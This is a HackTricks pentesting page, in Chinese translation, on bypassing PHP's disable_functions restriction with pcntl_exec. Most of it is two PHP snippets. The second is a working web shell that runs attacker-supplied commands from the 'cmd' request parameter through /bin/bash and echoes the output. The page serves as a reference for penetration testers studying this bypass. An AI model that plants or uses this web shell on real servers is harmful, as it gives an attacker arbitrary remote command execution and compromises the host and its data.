disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec

上一页disable_functions bypass - mod_cgi 下一页PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

最后更新于11个月前

disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec

从零开始学习AWS黑客技术，成为专家 ！

支持HackTricks的其他方式：

如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks，请查看!
获取
探索，我们的独家
加入 💬 或或关注我们的Twitter 🐦 。
通过向和 github仓库提交PR来分享您的黑客技巧。

PHP 4 >= 4.2.0, PHP 5 pcntl_exec

来自

<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';

$arg = array($cmd, $option, $dir);

pcntl_exec($pathtobin, $arg);
echo '123';
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
$cmd = $cmd."&pkill -9 bash >out";
pcntl_exec("/bin/bash", $cmd);
echo file_get_contents("out");
} else {
echo '不支持pcntl扩展';
}
?>

上一页disable_functions bypass - mod_cgi 下一页PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

最后更新于11个月前